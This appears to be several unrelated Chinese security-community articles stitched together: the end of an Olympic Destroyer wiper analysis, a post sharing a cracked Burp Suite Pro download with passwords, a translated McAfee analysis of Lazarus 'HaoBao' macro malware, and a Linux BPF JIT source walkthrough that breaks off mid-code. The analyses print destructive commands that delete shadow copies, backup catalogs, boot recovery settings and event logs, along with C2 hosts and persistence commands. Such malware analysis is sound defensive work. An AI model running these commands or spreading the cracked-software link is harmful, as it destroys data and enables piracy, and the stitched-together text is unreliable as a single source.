2018（平昌2018）`有关。这款恶意软件的作者对奥运会的基础设施细节了如指掌，比如用户名、域名、服务器名以及密码。我们在二进制文件中总共识别出了44个不同的账户信息。
### 2.2 释放出的文件
**浏览器凭据窃取器**
Olympic Destroyer会释放出一个浏览器凭据窃取器（Browser
Stealer）。最终的攻击载荷嵌入在经过混淆处理的资源中，恶意软件样本必须使用前面提到的2个参数才能正确执行攻击载荷。这款窃取器支持IE、Firefox以及Chrome浏览器。恶意软件会解析注册表，查询sqlite文件，获取所需的浏览器凭据信息。样本中集成了SQLite功能，如下所示：
**系统凭据窃取器**
除了浏览器凭据窃取器以外，Olympic Destroyer还会释放并执行一款系统凭据窃取器（System
Stealer）。这款窃取器试图使用与Mimikatz类似的技术，从LSASS中窃取凭据信息。初始阶段载荷所解析出来的输出格式如下所示：
**摧毁器（destructor）**
恶意软件刚在受害者主机上运行时
，就已经开始执行破坏活动。如前文所述，刚开始执行时，恶意软件会将多个文件写入磁盘中。随后，恶意软件开始踏上破坏之旅。恶意软件首先会借助主机上的`cmd.exe`，利用`vssadmin`删除所有可能存在的卷影副本，如下所示：
C:Windowssystem32cmd.exe /c c:Windowssystem32vssadmin.exe delete shadows /all /quiet
接下来，恶意软件再次利用主机上的`cmd.exe`，通过[`wbadmin.exe`](https://en.wikipedia.org/wiki/WBAdmin)来删除编录（catalog）数据（wbadmin是现代操作系统中ntbackup的替代品）。
C:Windowssystem32cmd.exe /c wbadmin.exe delete catalog -quiet
之所以执行这个步骤，就是想让文件恢复更加艰难。WBAdmin可以用来恢复单个文件、目录以及整个驱动器数据，因此系统管理员可以利用这个工具来辅助文件恢复。
接下来，攻击者会配合使用`cmd.exe`以及`bcdedit`（用于配置启动数据信息的一款工具），以确保Windows的恢复控制台不会尝试恢复主机上的任何数据。
C:Windowssystem32cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
经过这些操作，想恢复受影响主机上的数据已经非常困难。为了进一步掩盖行踪，攻击者会删除Windows上的System以及Security日志，增加安全分析的难度。
C:Windowssystem32cmd.exe /c wevtutil.exe cl System
C:Windowssystem32cmd.exe /c wevtutil.exe cl Security
恶意软件会执行这些擦除操作，表明攻击者根本不想让主机保持正常使用状态。这款恶意软件的目的是摧毁目标主机、使计算机系统离线并擦除远程数据。
此外，恶意软件也会禁用系统上的所有服务：
恶意软件使用ChangeServiceConfigW这个API，将服务的启动类型改成4，意思是“已禁用：不启动指定服务”。
此外，恶意软件会列出已映射的文件共享，然后清除每个共享中所有可写的文件（使用未初始化的数据或者0x00来填充，根据文件大小决定填充方式）。
最后，在修改完所有的系统配置选项后，这款恶意软件会关闭已破坏的目标系统。
**合法文件**
除恶意载荷外，Olympic
Destroyer也会释放出合法的、经过数字签名的PsExec文件，利用微软出品的这款工具实现横向渗透。攻击者经常将合法的工具添加到自己的武器库中。使用类似PsExec之类的工具，攻击者可以节省自己开发工具的时间。在这种情况下，在自己的恶意软件中集成免费的替代工具显然是更加明智的选择。
## 三、总结
在摧毁型攻击活动中，攻击者往往带有的明确目的性。本文分析的这次攻击活动显然以破坏为行动宗旨，因此我们有十足的把握认为此次攻击的幕后黑手想让奥组委在开幕式中出个大糗。
有许多服务受到此次攻击影响，比如奥运会官网处于离线状态，也就是说用户无法打印自己的门票。由于开幕式现场记者无法使用WiFi，因此关于开幕式的报道数量有所下降。另外，攻击者在这次攻击者用到了硬编码的凭据信息，这表明奥运会的基础设施此前可能已经被攻陷过，导致这些凭据被泄露给攻击者。
目前我们还不清楚恶意软件的传播机制，这意味着感染方式可能各种各样，但如果攻击者事先已具备目标环境的访问权限，那么攻击者很有可能远程发起攻击。这样一来，攻击者可以精准定位开幕式时间，控制攻击活动所能造成的影响范围。
## 四、IoC
**Olympic Destroyer：**
edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9
**浏览器凭据窃取器：**
19ab44a1343db19741b0e0b06bacce55990b6c8f789815daaf3476e0cc30ebea
处于封装状态时的哈希值：
ab5bf79274b6583a00be203256a4eacfa30a37bc889b5493da9456e2d5885c7f
**系统凭据窃取器：**
f188abc33d351c2254d794b525c5a8b79ea78acd3050cd8d27d3ecfc568c2936
处于封装状态时的哈希值：
a7d6dcdf5ca2c426cc6c447cff76834d97bc1fdff2cd14bad0b7c2817408c334
**摧毁器：**
ae9a4e244a9b3c77d489dee8aeaf35a7c3ba31b210e76d81ef2e91790f052c85
**合法的Psexec模块：**
3337e3875b05e0bfba69ab926532e3f179e8cfbf162ebb60ce58a0281437a7ef
**其他Olympic Destroyer样本：**
D934CB8D0EADB93F8A57A9B8853C5DB218D5DB78C16A35F374E413884D915016
EDB1FF2521FB4BF748111F92786D260D40407A2E8463DCD24BB09F908EE13EB9
3E27B6B287F0B9F7E85BFE18901D961110AE969D58B44AF15B1D75BE749022C2
28858CC6E05225F7D156D1C6A21ED11188777FA0A752CB7B56038D79A88627CC | 社区文章 |
## 介绍
Burp Suite是一款信息安全从业人员必备的集 成型的渗透测试工具，它采用自动测试和半自动测试的方式，包含了
Proxy,Spider,Scanner,Intruder,Repeater,Sequencer,Decoder,Comparer等工具模块。通
过拦截HTTP/HTTPS的web数据包，充当浏览器和相关应用程序的中间人，进行拦截、修改、重放数据包进行测试，是web安全人员的一把必备的瑞士军刀。
官方试用最新版新支持windows(.exe)直接安装，下载地址：
<https://portswigger.net/burp/download.html>
功能
* 拦截代理（Proxy），你可以检查和更改浏览器与目标应用程序间的流量；
* 可感知应用程序的网络爬虫（Spider），它能完整的枚举应用程序的内容和功能；
* 高级扫描器，执行后它能自动地发现web应用程序的安全漏洞；
* 入侵测试工具（Intruder），用于执行强大的定制攻击去发现及利用不同寻常的漏洞；
* 重放工具（Repeater），一个靠手动操作来触发单独的HTTP 请求，并分析应用程序响应的工具；
* 会话工具（Sequencer），用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具；
* 解码器，进行手动执行或对应用程序数据者智能解码编码的工具；
* 扩展性强，可以让你加载Burp Suite的扩展，使用你自己的或第三方代码来扩展Burp Suit的功能。
更新内容参见：[http://releases.portswigger.net/2017/08/1727.html](http://releases.portswigger.net/2017/04/1720.html)
## 下载地址
链接:
[burpsuite_pro_v1.7.27_Cracked_loader.7z](https://eyun.baidu.com/s/3jIziPL0)
密码：burp
Burp Suite 1.7.27解压密码：`VsxEIXT08AGBY%Q$WDhd$PNG%CETtcJXRgvI`
感谢大家一直对于Burp Suite破解版的热爱！U神表示后期对于此软件不再续费，`有愿意贡献正版凭证的可以联系我！wx：sy64_bing`
最后一个版本，希望大家不要再作为一个伸手党。 | 社区文章 |
# 网络犯罪组织Lazarus复出：目标瞄准全球银行和比特币用户
|
##### 译文声明
本文是翻译文章，文章原作者 Ryan Sherstobitoff，文章来源：securingtomorrow.mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
目前，McAfee高级威胁研究（ATR）分析师发现国际网络犯罪组织Lazarus正在进行网络钓鱼攻击活动，该活动以比特币为目标，使用了具有长期影响力的复杂恶意软件。
这个称为HaoBao的新变种，依然延续Lazarus以前的钓鱼电子邮件传播方式，伪装成招聘信息诱使用户下载点击，但目前的目标已经变为针对比特币用户和全球金融组织。当受害者打开电子邮件附件中的恶意文件，恶意软件会扫描电脑中的比特币相关活动，并创建相关文件用于长期的数据收集。
由于HaoBao在感染主机上创建的文件是此前从未见过的，因此McAfee
ATR认为Lazarus已经对他们的恶意软件进行了改动与提升，他们正在使用更复杂的技术来实现加密货币网络犯罪活动。
## 二、背景
从2017年开始，Lazarus组织就大量发送带有恶意文件的钓鱼邮件，冒充招聘者诱使用户下载并执行附件。该活动自2017年4月持续到10月，他们还使用英语和韩语来书写职位描述。根据分析，其目的在于获取目标环境的访问权限，获得关键的军事计划详情，并窃取资金。在2017年，该组织将目标瞄准了国防承包商和金融机构，包括加密货币兑换机构。然而，在几个月后Lazarus似乎就停止了攻击活动，最近的一次活动是在2017年10月22日。
## 三、整体分析
2018年1月15日，McAfee
ATR捕获了一个恶意文件，该恶意文件伪装成一家香港大型跨国银行的业务发展主管发布的招聘信息，通过Dropbox账户在以下地址分发：
hxxps://www.dropbox.com/s/qje0yrz03au66d0/JobDescription.doc?dl=1
由此看来，这是一个新的攻击活动，尽管它利用了2017年已有的技术、策略和程序，但其目标人群已经与此前不再相同。该文档的最后一位作者是”Windows
User”，并于2018年1月16日创建了韩语版本的文档。在2018年1月16日至1月24日期间，同一位文档创建者还生成了其他的恶意文件。
在文档中，会首先显示一个 “该文档是在早期版本的Microsoft
Word创建”的通知，该通知是由攻击者根据Word界面而伪造的，目的在于诱导目标用户点击”启用内容”。在启用后，恶意文档通过Visual
Basic宏，在目标用户系统上进行植入。
创建于2018年1月24日的文档（SHA1为7e70793c1ca82006775a0cac2bd75cc9ada37d7c）会投放并执行名称为lsm.exe（SHA1：535f212b320df049ae8b8ebe0a4f93e3bd25ed79）的可执行文件。该可执行文件会与210.122.7.129进行通信，同时还会对worker.co.kr.Implants投放的文件进行解析。
而创建于2018年1月19日的另一个恶意文档（SHA1为a79488b114f57bd3d8a7fa29e7647e2281ce21f6）会投放SHA1为afb2595ce1ecf0fdb9631752e32f0e32be3d51bb的可执行文件，该可执行文件与lsm.exe有99%的相似性。
文档分发自以下Dropbox地址：
hxxps://dl.dropboxusercontent.com/content_link/AKqqkZsJRuxz5VkEgcguqNE7Th3iscMsSYvivwzAYuTZQWDBLsbUb7yBdbW2lHos/file?dl=1
hxxps://www.dropbox.com/s/q7w33sbdil0i1w5/job description.doc?dl=1
在2018年1月15日编译的可执行文件csrss.exe会与解析到deltaemis.com域名的IP地址70.42.52.80进行通信。我们发现，此域名曾经用于托管以前针对Sikorsky计划的恶意文件。
hxxp://deltaemis.com/CRCForm/3E_Company/Sikorsky/E4174/JobDescription.doc
在2018年1月19日创建的第三个恶意文档（SHA1为dc06b737ce6ada23b4d179d81dc7d910a7dbfdde）会投放2018年1月15日编译的可执行文件（e8faa68daf62fbe2e10b3bac775cce5a3bb2999e）。该可执行文件会与韩国IP地址221.164.168.185进行通信，该IP解析为palgong-cc.co.kr。
McAfee
ATR分析发现，从2017年起，Lazarus在攻击活动中从未使用过投放文件的方式。此外，该攻击活动首先在被感染主机上投放一个数据收集程序，该程序还会再进行一次下载，以获得持久性。在该可执行文件中，包含一个硬编码的关键词”HaoBao”，作为Visual
Basic宏执行时的开关。
## 四、恶意文档分析
该恶意文档共包含两个Payload，二者都是嵌入Visual
Basic宏代码中的加密字符串数组。Payload以加密字符串数组的形式存在，会在内存中进行解密，写入磁盘并按顺序启动（第二阶段的恶意二进制文件首先启动，随后是诱饵文档）。
VBA宏代码是自动执行的，并且配置为在OLE文档（微软Word文档）打开时，通过”Sub
AutoOpen()”执行。在VBA宏中的AutoOpen()函数按照顺序执行以下任务：
1.解码第二阶段二进制Payload的目标文件路径。该文件路径基于当前用户Temp 文件夹位置计算得出：
<temp_dir_path>.lsm.exe
2.解码内存中第二阶段二进制文件，并将其写入到%temp%.lsm.exe位置。
3.在将第二阶段Payload写入磁盘之后，VBA代码将执行两个重要操作，会使用cmd.exe运行第二阶段Payload。这样是为了使cmd.exe进程在Payload运行后立即存在，从而让进程分析工具无法发现其父进程，增强其隐蔽性。
用于执行第二阶段二进制文件的命令如下：
cmd.exe /c start /b <temp_dir_path>.lsm.exe /haobao
4.使用正确的命令行参数，在系统的Startup（启动）文件夹中创建快捷方式，从而确保恶意软件拥有持久性。
快捷方式的命令行为：<temp_dir_path>.lsm.exe /haobao，快捷方式文件名为：GoogleUpdate.lnk。
5.一旦第二阶段Payload启动，VBA宏就会向用户显示一个诱导文档。该诱导文档也作为一个加密的字符串数组存储在VBA宏中，类似于第二阶段的Payload。诱导文档会写入到用户的临时目录下，其文件名和路径如下：
<temp_dir_path>.Job Description.doc
6.将诱导文档写入磁盘后，VBA宏会将其文件属性设置为”系统”+”隐藏”。
7.然后，由恶意VBA宏打开诱导文档，并诱饵文档的文件名修改为原始恶意文档的文件名，让受感染用户误以为打开的就是原始（恶意）文档。
由于诱导文档本身不具有风险，并且不包含任何宏，所以被感染用户不会对此有所怀疑。
## 五、植入文件分析
在植入后，首先进行初始化，会执行以下操作：
1.校验通过命令行传递给它的字符串是否正确：
“/haobao”为 535f212b320df049ae8b8ebe0a4f93e3bd25ed79
“/pumpingcore”为e8faa68daf62fbe2e10b3bac775cce5a3bb2999e
如果恶意软件在其命令行参数中找不到该字符串，则会立即退出，不再进行任何操作。
2.将DLL加载到内存中，并借助反射DLL注入对其进行调用，将其一次性导入。
在研究过程中，我们还发现了DLL文件的其他变体。
3.作为反射DLL加载的一部分，恶意软件会在已经加载到内存中的DLL上执行以下任务：
(1) 将已经加载的DLL复制到其自身的内存空间的新位置；
(2) 部署DLL所需的导入文件（基于DLL的IAT）。
4.使用DLL_PROCESS_ATTACH调用新加载的DLL映像入口点（DllMain），以便在恶意软件进程中能成功加载DLL。
5.在名为”CoreDn”的DLL中，调用恶意软件的实际导出。
除非特别指出，否则下面描述的所有恶意活动均是由DLL执行。
## 六、数据侦查
该恶意软件具有从被感染系统中收集数据的能力，以下信息将会被收集，并发送到命令与控制（C&C）服务器。
计算机名称、当前登陆用户名称，格式为：<ComputerName> <Username>。
1. 系统当前运行的全部进程，格式为：
<Process Name>rn
<Process Name>rn
<Process Name>rn
<Process Name>rn
2. 系统上特定的注册表项：
HKEY_CURRENT_USERSoftwareBitcoinBitcoin-Qt
恶意软件还会附加一个标志，用于指示在用户注册表中是否找到了上述表项：
该密钥将再次作为C&C通信的一部分进行检查，并以HTTP POST请求的方式发送到C&C服务器。
## 七、数据窃取
### 7.1 准备工作
为了过滤从被感染终端收集到的信息，恶意软件执行以下活动：
1.使用字节0x34对收集到的信息进行异或操作编码。
2.用标准的Base64对异或后的数据再进行编码。
3.再次检查注册表项HKCUSoftwareBitcoinBitcoin-Qt是否存在。
### 7.2 C&C服务器通信
一旦恶意软件完成上述工作，就会向C&C服务器发送HTTP POST请求：
www[dot]worker.co.kr（MD5为BDAEDB14723C6C8A4688CC8FC1CFE668）
www[dot]palgong-cc.co.kr（MD5为D4C93B85FFE88DDD552860B148831026）
发送到www[dot]worker.co.kr的POST请求格式如下：/board2004/Upload/files/main.asp?idx=%d&no=%s&mode=%s。
发送到www[dot]palgong-cc.co.kr的POST请求格式如下：/html/course/course05.asp?idx=%d&no=%s&mode=%s。
其中，如果注册表项不存在，则idx = 20 (14h)；如果注册表项存在，那么idx = 24 (18h)。
no = 异或+Base64编码后的”<Computername> <username>“
mode = 异或+Base64编码后的进程列表+注册表项标志
### 7.3 持久性
恶意软件的持久性机制只针对于下载的植入文件。最初，在被感染用户加载恶意文档时，会通过Visual Basic宏代码来为植入文件建立持久性。
只有当恶意软件成功执行下载的植入文件后，才会进行持久性保护。恶意软件首先尝试更新HKEY_LOCAL_MACHINE注册表项。
如果更新不成功，它还会尝试更新HKEY_CURRENT_USER注册表项。将写入如下内容：
注册表位置 = SoftwareMicrosoftWindowsCurrentVersionRun
值名称 = AdobeFlash
值内容 = “C:DOCUME~1<username>LOCALS~1TempOneDrive.exe” kLZXlyJelgqUpKzP
## 八、与2017年活动的联系
本次捕获到的恶意样本，与2017年针对美国国防承包商、美国能源部门、金融机构和加密货币交易所进行攻击的恶意样本非常相似。
2017年涉及到加密货币的两个恶意文档，其作者均为”Windows
User”。此外，此前一个涉及到Sikorsky军事计划的恶意可执行文件托管IP与本次样本中的一个托管IP一致。
McAfee ATR有理由相信，Lazarus是此次攻击的幕后黑手，原因如下：
1.此次用于托管恶意文档的IP地址和域名与2017年Lazarus发起攻击时所使用的IP和域名相同。
2.恶意文档的作者名称一致。
3.在此前Lazarus进行的攻击活动中，也使用过与本次相同的恶意文档结构和类似的招聘广告。
4.所使用的技术、策略和程序与此前一致，并且情报表明Lazarus始终对加密货币盗窃拥有较大的兴趣。
## 九、结论
根据McAfee
ATR的研究，我们发现Lazarus组织正在将目标对准加密货币和金融机构。此外，我们发现在攻击过程中，数据收集模块的使用频率有所增加，其目的是快速确定潜在的攻击对象。此攻击活动旨在通过扫描系统中特定位置，来找到运行比特币相关软件的用户。
## 十、病毒样本
### 10.1 MITRE ATT&CK技术信息
数据编码
数据加密
命令行界面
账户搜寻
进程搜寻
注册表查询
隐藏的文件和目录
自定义加密协议
注册表运行密钥/启动文件夹
启动项目
常用端口
C&C通道过滤
### 10.2 相关IP
210.122.7.129
70.42.52.80
221.164.168.185
### 10.3 相关URL
hxxps://dl.dropboxusercontent.com/content_link/AKqkZsJRuxz5VkEgcguqNE7Th3iscMsSYvivwzAYuTZQWDBLsbUb7yBdbW2lHos/file?dl=1
hxxps://www.dropbox.com/s/q7w33sbdil0i1w5/job description.doc?dl=1
### 10.4 Hash值
dc06b737ce6ada23b4d179d81dc7d910a7dbfdde
a79488b114f57bd3d8a7fa29e7647e2281ce21f6
7e70793c1ca82006775a0cac2bd75cc9ada37d7c
535f212b320df049ae8b8ebe0a4f93e3bd25ed79
1dd8eba55b16b90f7e8055edca6f4957efb3e1cd
afb2595ce1ecf0fdb9631752e32f0e32be3d51bb
e8faa68daf62fbe2e10b3bac775cce5a3bb2999e | 社区文章 |
# BPF之路四JIT源码分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
<https://stackoverflow.com/questions/39998050/how-to-get-linux-ebpf-assembly/40912405>
<https://github.com/iovisor/ubpf/>
<https://bbs.pediy.com/thread-267956.htm>
## 环境搭建
编译内核时需要开启如下配置
BPF程序如下, 按照之前说的方法提取BPF指令后, 利用系统把指令加载进入内核
//clang -O2 -target bpf -c ./prog.c -o ./prog.o
#include <linux/bpf.h>
unsigned long prog(void){
unsigned long a=0x231;
return a+0x456;
}
`echo 2 > /proc/sys/net/core/bpf_jit_enable`开启jit并且把翻译出指令输出在内核日志中, 结果如下.
如果编译时设置了`CONFIG_BPF_JIT_ALWAYS_ON=y`,
那么`/proc/sys/net/core/bpf_jit_enable`就只能是1, 就不发看到JIT编译出的指令了
内核源码树中`tools/bpf/bpf_jit_disasm`工具可用于从日志中提取JITcode, 然后反编译成x86汇编,
这样就能看到BPF指令翻译成x86的结果. 但是这个工具需要许多依赖, 安装在busybox中比较烦琐, 所以我直接用py反编译生成的指令
form pwn import *
context(arch='amd64', os='linux')
def bpf_jit_disasm(JIT_code):
JIT_code = JIT_code.split('\n')
x86_code = ''
for line in JIT_code:
idx = line.find(': ')+2
idx = line.find(': ', idx)+2 # secodary ': ' position
for C in line[idx:].split(' '):
x86_code+= chr(int(C, 16))
print(disasm(x86_code))
JIT_code = '''[ 18.353267] JIT code: 00000000: 66 66 66 66 90 55 48 89 e5 48 81 ec 08 00 00 00
[ 18.353587] JIT code: 00000010: 53 41 55 41 56 41 57 6a 00 bf 31 02 00 00 48 89
[ 18.353972] JIT code: 00000020: 7d f8 48 8b 7d f8 48 81 c7 56 04 00 00 48 89 f8
[ 18.354265] JIT code: 00000030: 5b 41 5f 41 5e 41 5d 5b c9 c3'''
bpf_jit_disasm(JIT_code)
我们把反编译的结果与BPF指令进行对比可以发现, 两者极其相似, BPF程序几乎就是直接在硬件上执行, 不需要模拟, 这也是JIT高性能的原因
## 入口点
`sys_bpf()`从用户空间获取bpf_attr对象, 然后根据cmd调用具体的函数, 目前只关注`bpf_prog_load()`
//bpf系统调用入口点
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user*, uattr, unsigned int, size)
{
union bpf_attr attr = {}; //bpf属性
int err;
...;
err = bpf_check_uarg_tail_zero(uattr, sizeof(attr), size); //检查: 用户传入的uattr超过内核中sizeof(attr)的部分必须是0
...;
/* 从用户空间复制一些bpf属性, 可能个比sizeof(bof_attr)更小 */
if (copy_from_user(&attr, uattr, size) != 0)
return -EFAULT;
...;
//根据cmd分配到对应函数
switch (cmd) {
...;
case BPF_PROG_LOAD: //加载BPF程序
err = bpf_prog_load(&attr, uattr);
break;
...;
default:
err = -EINVAL;
break;
}
return err;
}
## bpf_prog_load()
内核中一个BPF程序使用`struct bpf_prog`来表示
struct bpf_prog {
u16 pages; /* 占据了多少页 */
u16 jited : 1, /* 是否被JIT翻译过 */
jit_requested : 1, /* 架构要求对程序进行 */
gpl_compatible : 1, /* 是否匹配GPL许可 */
cb_access : 1, /* 是否访问控制块 */
dst_needed : 1, /* 是否需要dst条目 Do we need dst entry? */
blinded : 1, /* 是否进行过常数致盲 */
is_func : 1, /* 程序是一个bpf函数*/
kprobe_override : 1, /* 是否覆盖了一个kprobe */
has_callchain_buf : 1, /* callchain buffer allocated? */
enforce_expected_attach_type : 1; /* Enforce expected_attach_type checking at attach time */
enum bpf_prog_type type; /* BPF程序的类型 */
enum bpf_attach_type expected_attach_type; /* 要附着的类型 */
u32 len; /* BPF程序长多少字节 */
u32 jited_len; /* jit之后程序长多少字节 */
u8 tag[BPF_TAG_SIZE];
struct bpf_prog_aux* aux; /* 辅助字段 */
struct sock_fprog_kern* orig_prog; /* 原BPF程序*/
unsigned int (*bpf_func)(const void* ctx, const struct bpf_insn* insn); //执行BPF程序的函数指针, 第一个参数为执行环境
/* 伪数组, 后面存放的是给解释器的BPF指令 */
union {
struct sock_filter insns[0];
struct bpf_insn insnsi[0];
};
};
`bpf_prog_load()`会首先分配一个prog对象并进行初始化. 然后调用`bpf_check()`检查程序,
最后调用`bpf_prog_select_runtime()`进行JIT编译. 至此BPF程序已经翻译为x86指令注入到内核中.
后续分配id与fd供用户使用
static int bpf_prog_load(union bpf_attr* attr, union bpf_attr __user* uattr)
{
enum bpf_prog_type type = attr->prog_type;
struct bpf_prog* prog;
int err;
char license[128];
bool is_gpl;
...;
/* 分配一个bpf_prog对象, 所需大小 = bpf_prog对象大小 + BPF程序大小 */
prog = bpf_prog_alloc(bpf_prog_size(attr->insn_cnt), GFP_USER);
if (!prog)
return -ENOMEM;
//初始化bpf_prog对象
prog->expected_attach_type = attr->expected_attach_type; //程序期望附着的事件的类型
...;
prog->len = attr->insn_cnt;
//从用户空间复制BPF程序到内核空间
err = -EFAULT;
if (copy_from_user(prog->insns, u64_to_user_ptr(attr->insns), bpf_prog_insn_size(prog))
!= 0)
goto free_prog;
prog->orig_prog = NULL;
prog->jited = 0; //还未进行jit
atomic64_set(&prog->aux->refcnt, 1); //设置引用计数为1
...;
/* 进行BPF验证 */
err = bpf_check(&prog, attr, uattr);
if (err < 0)
goto free_used_maps;
//JIT编译
prog = bpf_prog_select_runtime(prog, &err);
if (err < 0)
goto free_used_maps;
//为BPF程序分配ID
err = bpf_prog_alloc_id(prog);
if (err)
goto free_used_maps;
...;
err = bpf_prog_new_fd(prog); //为BPF程序分配一个fd, 现在开始就可以使用了
if (err < 0)
bpf_prog_put(prog);
return err;
...; //错误处理
}
对于检验的过程我们先放一放, 先关注JIT编译
## bpf_prog_select_runtime()
`bpf_prog_select_runtime()`会先调用`bpf_prog_select_func()`为eBPF程序设置解释器运行,
之后会调用`bpf_int_jit_compile(fp)`尝试通过JIT编译eBPF程序
/**
* bpf_prog_select_runtime - 选择BPF程序的运行时机
* @fp: 内部填充了BPF程序的bpf_prog对象
* @err: 执行错误代码
*
* 尝试JIT eBPF程序, 如果JIT不可用就用解释器
* BPF程序会通过BPF_PROG_RUN()宏执行
*/
struct bpf_prog* bpf_prog_select_runtime(struct bpf_prog* fp, int* err)
{
// 在BPF调用BPF的情况下, 验证器已经完成了与JIT相关的所有准备工作, 直接结束
if (fp->bpf_func)
goto finalize;
//根据栈的深度从interpreters中选择一个作为fp->bpf_func
bpf_prog_select_func(fp);
//在开启常数致盲得到情况下eBPF JIT会重写程序.
//然而为防止致盲时发生错误, bpf_int_jit_compile()必须返回一个有效的程序, 此时就不会被JIT, 而转交给解释器
if (!bpf_prog_is_dev_bound(fp->aux)) { // if(!fp->aux->offload_requested)
...;
fp = bpf_int_jit_compile(fp); //进行JIT编译
...;
} else {
...;
}
...;
//尾调用兼容性检查只能在最后阶段进行.
//因为我们要确定, 如果我们处理JITed或者非JITed程序的链接, 并且不是所有的eBPF JIT都能立刻支持所有的特性
*err = bpf_check_tail_call(fp);
return fp;
}
`bpf_prog_select_func()`根据栈深度从解释器数组`interpreters`中选择.
`interpreters`中的解释器函数的第一个参数为eBPF运行上下文, 第二个参数为eBPF指令.
//解释器数组
static unsigned int (*interpreters[])(const void* ctx, const struct bpf_insn* insn)
= {
EVAL6(PROG_NAME_LIST, 32, 64, 96, 128, 160, 192)
EVAL6(PROG_NAME_LIST, 224, 256, 288, 320, 352, 384)
EVAL4(PROG_NAME_LIST, 416, 448, 480, 512)
};
static void bpf_prog_select_func(struct bpf_prog* fp)
{
#ifndef CONFIG_BPF_JIT_ALWAYS_ON
u32 stack_depth = max_t(u32, fp->aux->stack_depth, 1);
fp->bpf_func = interpreters[(round_up(stack_depth, 32) / 32) - 1];
#else
fp->bpf_func = __bpf_prog_ret0_warn;
#endif
}
JIT编译会直接令`fp->bpf_func`指向编译出的函数. 这样执行`fp->bpf_func(ctx,
insn)`就可以涵盖解释器执行与JIT编译两种情况
## bpf_int_jit_compile()
`bpf_int_jit_compile(fp)`在`core.c`中是一个弱符号, 仅是一个占位符.链接时如果有同名的函数则会被替换掉. 类似于重载的概念
//这是只支持cBPF的JIT的占位符. eBPF程序可以被解释执行. 应尽量去实现此函数, 这样eBPF和cBPF都可以JIT执行
struct bpf_prog* __weak bpf_int_jit_compile(struct bpf_prog* prog)
{
return prog;
}
在`arch/x86/net/bpf_jit_comp.c`中就定义了一个强符号`bpf_int_jit_compile()`, 编译时会链接到此函数,
此函数负责真正的JIT工作.
`bpf_int_jit_compile()`可以分为三部分:
* 首先是调用`bpf_jit_blind_constants(prog)`对eBPF指令中的立即数进行致盲.
* 然后循环调用`do_jit()`进行编译, 直到收敛为止,
* 然后调用`bpf_jit_binary_alloc()`分配可执行内存image保存JIT编译出的函数, 下一次调用`do_jit()`时JIT就会向image中写入指令
struct bpf_prog* bpf_int_jit_compile(struct bpf_prog* prog)
{
struct bpf_binary_header* header = NULL;
struct bpf_prog *tmp, *orig_prog = prog;
struct x64_jit_data* jit_data;
int proglen, oldproglen = 0;
struct jit_context ctx = {};
bool tmp_blinded = false;
bool extra_pass = false;
u8* image = NULL;
int* addrs;
int pass;
int i;
if (!prog->jit_requested) //是否被翻译过了
return orig_prog;
tmp = bpf_jit_blind_constants(prog); //致盲eBPF指令中的立即数
//如果要求致盲, 但是有又失败了, 那么就不能进行JIT, 直接调用解释器
if (IS_ERR(tmp))
return orig_prog;
if (tmp != prog) { //切换到致盲后的程序
tmp_blinded = true;
prog = tmp;
}
...;
//addrs[i]表示编译完第i条eBPF指令后, x86指令的总长度. addrs[i]-addrs[i-1]=第i条eBPF指令编译为x86指令的长度
//由于x86指令是变长的, 因此eBPF在相对跳转时需要根据addrs修改偏移量
addrs = kmalloc_array(prog->len + 1, sizeof(*addrs), GFP_KERNEL);
//在首次pass之前, 对于addrs[]进行一个大概的估计. 每一个BPF指令翻译成x86指令后都小于64字节, 因此就都按64计算
for (proglen = 0, i = 0; i <= prog->len; i++) {
proglen += 64;
addrs[i] = proglen;
}
ctx.cleanup_addr = proglen; //清理函数的地址, 也就是函数序言的地址, 位于eBPF最后一条指令翻译为x86指令的后面
skip_init_addrs:
//每次pass之后JIT镜像都会缩小, 迭代会持续到JIT镜像停止缩小位置
//非常大的BPF程序可能在最后一次pass还在收敛. 这种情况下再多一次pass来产最终的JIT镜像
for (pass = 0; pass < 20 || image; pass++) {
proglen = do_jit(prog, addrs, image, oldproglen, &ctx); //进行一趟JIT
...
if (image) { //程序长度停止收敛后会设置image, 再次迭代后就会进入这里
...;
break; //不然就结束迭代
}
if (proglen == oldproglen) { //本次pass之后长度与原来的长读一样, 停止迭代
u32 align = __alignof__(struct exception_table_entry);
u32 extable_size = prog->aux->num_exentries * sizeof(struct exception_table_entry);
/* 为x86指令和异常表分配可执行内存, image为JIT后执行写入的地址, 返回的bpf_binary_header对象后面会介绍 */
header = bpf_jit_binary_alloc(roundup(proglen, align) + extable_size, &image, align, jit_fill_hole);
...;
prog->aux->extable = (void*)image + roundup(proglen, align); //异常函数表
}
oldproglen = proglen;
cond_resched();
}
if (bpf_jit_enable > 1) //在内核日志中输出JIT之后的程序
bpf_jit_dump(prog->len, proglen, pass + 1, image);
if (image) { //JIT成功会生成一个镜像
...;
prog->bpf_func = (void*)image; //image为函数指针
prog->jited = 1; //已进行过jit
prog->jited_len = proglen; //程序长度
} else { //失败, 则解释运行原程序
prog = orig_prog;
}
...;
return prog;
}
## 常数致盲: bpf_jit_blind_constants()
JIT的内存可以让攻击者放置任意gadget. 一种流行的技术是把所需的指令序列编码为立即数的一部分.
因为x86的CISC架构提供了一种把长字节编码为一条指令的方法. 常量盲区, 也称之为常量折叠, 是一种打破立即数值得到方法,
避免在可执行内存中使用攻击者提供了常量.
值得注意的是还有许多其他计数(例如, 控制直接分支的恒定偏移量), 但是用户空间中的大多数众所周知的攻击在内核空间中可能不太有效,
因为BPF只提供了较小的内核和可利用的指令集. 常数致盲法的实现很简单, 在使用常数前把选择的立即数与随机常数进行异或
`bpf_jit_blind_constants()`会遍历每一条指令, 并对其调用`bpf_jit_blind_insn()`插入能致盲立即数的指令,
插入的结果放在insn_buf中, 然后调用`bpf_patch_insn_single()`修改eBPF程序.
//致盲立即数
struct bpf_prog* bpf_jit_blind_constants(struct bpf_prog* prog)
{
struct bpf_insn insn_buff[16], aux[2];
struct bpf_prog *clone, *tmp;
int insn_delta, insn_cnt;
struct bpf_insn* insn;
int i, rewritten;
